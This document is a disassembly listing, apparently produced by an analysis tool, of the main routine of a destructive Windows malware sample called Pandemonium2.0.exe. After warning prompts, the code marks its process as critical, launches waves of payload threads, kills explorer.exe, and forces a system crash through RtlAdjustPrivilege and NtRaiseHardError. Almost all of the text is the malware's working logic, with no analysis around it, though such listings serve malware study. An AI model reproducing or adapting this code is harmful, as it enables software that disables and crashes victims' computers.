Function at 0x140003f40
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
sub rsp, 0x88
mov r9d, 0x34
lea r8, str.Pandemonium2.0.exe
lea rdx, str.Run_Malware_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x140003f71
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r9d, 0x34
lea r8, str.Pandemonium2.0.exe
lea rdx, str.Are_you_sure__Youll_Erasing_your_computer_with_this_malware.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x140003f9b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x90], rbx
lea rcx, str.ntdll.dll
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140004007
call fcn.140001940
lea rdx, str.RtlSetProcessIsCritical
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004007
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
xor edi, edi
lea r8, [0x140001340]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400013b0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001420]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400015c0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400018b0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001760]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001820]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001b40]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001530]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001b00]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x20], edi
lea r8, [0x140001b90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140002fb0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001ce0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003100
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001eb0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003260
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400020e0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.1400033c0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400021a0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003510
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
lea r8, [0x140002470]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003660
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002730]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.1400037b0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002a20]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003910
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002b60]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002cb0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x48], rax
call fcn.140003a60
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002dc0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001760]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002a20]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003ba0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140003ce0
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001b90]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001ce0]
mov qword [rsp + 0x38], rax
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001eb0]
mov qword [rsp + 0x40], rax
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400021a0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov r13, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002470]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002730]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002dc0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, rax
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [rsp + 0x20], edi
lea r8, [0x1400020e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002b60]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
lea r8, [0x140002cb0]
mov rdi, rax
xor edx, edx
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Taskkill__f__im_explorer.exe
call fcn.140006b1c
xor ebx, ebx
lea r8, [0x140003ea0]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001b00]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x30]
mov dl, 1
lea ecx, [r8 + 0x13]
call rax
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc000006c
call rbx
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov r13, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
add rsp, 0x88
ret